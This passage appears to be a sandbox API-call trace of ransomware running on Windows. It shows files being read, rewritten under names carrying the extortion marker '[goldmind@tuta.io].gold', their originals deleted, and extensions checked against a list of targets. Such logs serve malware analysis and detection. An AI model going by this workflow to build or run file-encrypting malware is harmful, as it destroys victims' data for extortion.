office\\clipart\\pub60cor\\j0105504.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0105.649] GetLastError () returned 0x0 [0105.649] ReadFile (in: hFile=0x3c8, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x1034, lpOverlapped=0x0) returned 1 [0105.653] WriteFile (in: hFile=0x39c, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x1040, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x1040, lpOverlapped=0x0) returned 1 [0105.653] ReadFile (in: hFile=0x3c8, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0105.653] WriteFile (in: hFile=0x39c, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0105.653] SetEndOfFile (hFile=0x39c) returned 1 [0105.654] CloseHandle (hObject=0x39c) returned 1 [0105.654] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.654] SetEndOfFile (hFile=0x3c8) returned 1 [0105.655] CloseHandle (hObject=0x3c8) returned 1 [0105.655] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0105.656] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105504.wmf")) returned 1 [0105.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF") returned 63 [0105.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF") returned 63 [0105.656] lstrlenW (lpString=".doc") returned 4 [0105.656] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0105.656] lstrlenW (lpString=".docx") returned 5 [0105.656] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0105.656] lstrlenW (lpString=".pdf") returned 4 [0105.656] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0105.656] lstrlenW (lpString=".xls") returned 4 [0105.656] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0105.656] lstrlenW (lpString=".xlsx") returned 5 [0105.656] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0105.656] lstrlenW (lpString=".ppt") returned 4 [0105.656] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0105.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF") returned 63 [0105.656] lstrlenW (lpString=".zip") returned 4 [0105.656] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0105.656] lstrlenW (lpString=".rar") returned 4 [0105.657] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0105.657] lstrlenW (lpString=".bz2") returned 4 [0105.657] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0105.657] lstrlenW (lpString=".7z") returned 3 [0105.657] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0105.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF") returned 63 [0105.657] lstrlenW (lpString=".dbf") returned 4 [0105.657] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0105.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF") returned 63 [0105.657] lstrlenW (lpString=".1cd") returned 4 [0105.657] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0105.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF") returned 63 [0105.657] lstrlenW (lpString=".jpg") returned 4 [0105.657] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0105.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF") returned 63 [0105.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF") returned 63 [0105.657] lstrlenW (lpString=".doc") returned 4 [0105.657] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0105.657] lstrlenW (lpString=".docx") returned 5 [0105.657] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0105.657] lstrlenW (lpString=".pdf") returned 4 [0105.657] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0105.657] lstrlenW (lpString=".xls") returned 4 [0105.657] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0105.657] lstrlenW (lpString=".xlsx") returned 5 [0105.657] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0105.657] lstrlenW (lpString=".ppt") returned 4 [0105.657] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0105.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF") returned 63 [0105.657] lstrlenW (lpString=".zip") returned 4 [0105.657] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0105.657] lstrlenW (lpString=".rar") returned 4 [0105.657] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0105.657] lstrlenW (lpString=".bz2") returned 4 [0105.657] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0105.657] lstrlenW (lpString=".7z") returned 3 [0105.657] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0105.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF") returned 63 [0105.657] lstrlenW (lpString=".dbf") returned 4 [0105.657] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0105.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF") returned 63 [0105.657] lstrlenW (lpString=".1cd") returned 4 [0105.657] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0105.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF") returned 63 [0105.657] lstrlenW (lpString=".jpg") returned 4 [0105.657] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0105.657] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0105.657] lstrlenW (lpString="J0105506.WMF") returned 12 [0105.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105506.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0105.658] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=2912) returned 1 [0105.658] CloseHandle (hObject=0x3c8) returned 1 [0105.658] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105506.wmf")) returned 0x20 [0105.658] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105506.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0105.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105506.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0105.658] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.659] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105506.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0105.659] GetLastError () returned 0x0 [0105.659] ReadFile (in: hFile=0x3c8, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0xb60, lpOverlapped=0x0) returned 1 [0105.666] WriteFile (in: hFile=0x39c, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xb70, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xb70, lpOverlapped=0x0) returned 1 [0105.666] ReadFile (in: hFile=0x3c8, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0105.666] WriteFile (in: hFile=0x39c, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0105.666] SetEndOfFile (hFile=0x39c) returned 1 [0105.667] CloseHandle (hObject=0x39c) returned 1 [0105.667] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.667] SetEndOfFile (hFile=0x3c8) returned 1 [0105.668] CloseHandle (hObject=0x3c8) returned 1 [0105.668] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0105.669] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105506.wmf")) returned 1 [0105.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF") returned 63 [0105.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF") returned 63 [0105.669] lstrlenW (lpString=".doc") returned 4 [0105.669] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0105.669] lstrlenW (lpString=".docx") returned 5 [0105.669] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0105.669] lstrlenW (lpString=".pdf") returned 4 [0105.669] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0105.669] lstrlenW (lpString=".xls") returned 4 [0105.669] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0105.669] lstrlenW (lpString=".xlsx") returned 5 [0105.669] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0105.669] lstrlenW (lpString=".ppt") returned 4 [0105.669] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0105.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF") returned 63 [0105.669] lstrlenW (lpString=".zip") returned 4 [0105.669] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0105.670] lstrlenW (lpString=".rar") returned 4 [0105.670] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0105.670] lstrlenW (lpString=".bz2") returned 4 [0105.670] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0105.670] lstrlenW (lpString=".7z") returned 3 [0105.670] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0105.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF") returned 63 [0105.670] lstrlenW (lpString=".dbf") returned 4 [0105.670] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0105.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF") returned 63 [0105.670] lstrlenW (lpString=".1cd") returned 4 [0105.670] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0105.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF") returned 63 [0105.670] lstrlenW (lpString=".jpg") returned 4 [0105.670] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0105.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF") returned 63 [0105.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF") returned 63 [0105.670] lstrlenW (lpString=".doc") returned 4 [0105.670] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0105.670] lstrlenW (lpString=".docx") returned 5 [0105.670] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0105.670] lstrlenW (lpString=".pdf") returned 4 [0105.670] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0105.670] lstrlenW (lpString=".xls") returned 4 [0105.670] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0105.670] lstrlenW (lpString=".xlsx") returned 5 [0105.670] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0105.670] lstrlenW (lpString=".ppt") returned 4 [0105.670] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0105.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF") returned 63 [0105.670] lstrlenW (lpString=".zip") returned 4 [0105.670] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0105.670] lstrlenW (lpString=".rar") returned 4 [0105.670] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0105.670] lstrlenW (lpString=".bz2") returned 4 [0105.670] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0105.670] lstrlenW (lpString=".7z") returned 3 [0105.670] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0105.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF") returned 63 [0105.670] lstrlenW (lpString=".dbf") returned 4 [0105.670] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0105.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF") returned 63 [0105.670] lstrlenW (lpString=".1cd") returned 4 [0105.670] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0105.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF") returned 63 [0105.670] lstrlenW (lpString=".jpg") returned 4 [0105.670] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0105.670] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0105.670] lstrlenW (lpString="J0105520.WMF") returned 12 [0105.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105520.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0105.671] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=31812) returned 1 [0105.671] CloseHandle (hObject=0x3c8) returned 1 [0105.671] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105520.wmf")) returned 0x20 [0105.671] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105520.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0105.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105520.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0105.672] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.672] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105520.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0105.672] GetLastError () returned 0x0 [0105.672] ReadFile (in: hFile=0x3c8, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x7c44, lpOverlapped=0x0) returned 1 [0105.860] WriteFile (in: hFile=0x39c, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x7c50, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x7c50, lpOverlapped=0x0) returned 1 [0105.861] ReadFile (in: hFile=0x3c8, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0105.861] WriteFile (in: hFile=0x39c, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0105.861] SetEndOfFile (hFile=0x39c) returned 1 [0105.862] CloseHandle (hObject=0x39c) returned 1 [0105.862] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.862] SetEndOfFile (hFile=0x3c8) returned 1 [0105.866] CloseHandle (hObject=0x3c8) returned 1 [0105.866] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0105.930] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105520.wmf")) returned 1 [0105.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF") returned 63 [0105.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF") returned 63 [0105.930] lstrlenW (lpString=".doc") returned 4 [0105.930] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0105.930] lstrlenW (lpString=".docx") returned 5 [0105.930] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0105.930] lstrlenW (lpString=".pdf") returned 4 [0105.930] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0105.930] lstrlenW (lpString=".xls") returned 4 [0105.930] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0105.930] lstrlenW (lpString=".xlsx") returned 5 [0105.930] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0105.930] lstrlenW (lpString=".ppt") returned 4 [0105.930] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0105.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF") returned 63 [0105.930] lstrlenW (lpString=".zip") returned 4 [0105.930] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0105.930] lstrlenW (lpString=".rar") returned 4 [0105.930] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0105.930] lstrlenW (lpString=".bz2") returned 4 [0105.930] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0105.930] lstrlenW (lpString=".7z") returned 3 [0105.930] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0105.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF") returned 63 [0105.931] lstrlenW (lpString=".dbf") returned 4 [0105.931] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0105.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF") returned 63 [0105.931] lstrlenW (lpString=".1cd") returned 4 [0105.931] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0105.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF") returned 63 [0105.931] lstrlenW (lpString=".jpg") returned 4 [0105.931] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0105.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF") returned 63 [0105.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF") returned 63 [0105.931] lstrlenW (lpString=".doc") returned 4 [0105.931] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0105.931] lstrlenW (lpString=".docx") returned 5 [0105.931] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0105.931] lstrlenW (lpString=".pdf") returned 4 [0105.931] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0105.931] lstrlenW (lpString=".xls") returned 4 [0105.931] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0105.931] lstrlenW (lpString=".xlsx") returned 5 [0105.931] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0105.931] lstrlenW (lpString=".ppt") returned 4 [0105.931] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0105.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF") returned 63 [0105.931] lstrlenW (lpString=".zip") returned 4 [0105.931] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0105.931] lstrlenW (lpString=".rar") returned 4 [0105.931] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0105.931] lstrlenW (lpString=".bz2") returned 4 [0105.931] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0105.931] lstrlenW (lpString=".7z") returned 3 [0105.931] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0105.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF") returned 63 [0105.931] lstrlenW (lpString=".dbf") returned 4 [0105.931] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0105.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF") returned 63 [0105.931] lstrlenW (lpString=".1cd") returned 4 [0105.931] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0105.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF") returned 63 [0105.931] lstrlenW (lpString=".jpg") returned 4 [0105.931] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0105.931] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0105.931] lstrlenW (lpString="J0105912.WMF") returned 12 [0105.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105912.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0105.957] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=11720) returned 1 [0105.957] CloseHandle (hObject=0x39c) returned 1 [0105.957] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105912.wmf")) returned 0x20 [0105.975] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105912.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0105.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105912.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0105.975] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.975] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105912.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0106.024] GetLastError () returned 0x0 [0106.024] ReadFile (in: hFile=0x39c, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x2dc8, lpOverlapped=0x0) returned 1 [0106.038] WriteFile (in: hFile=0x180, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x2dd0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x2dd0, lpOverlapped=0x0) returned 1 [0106.039] ReadFile (in: hFile=0x39c, 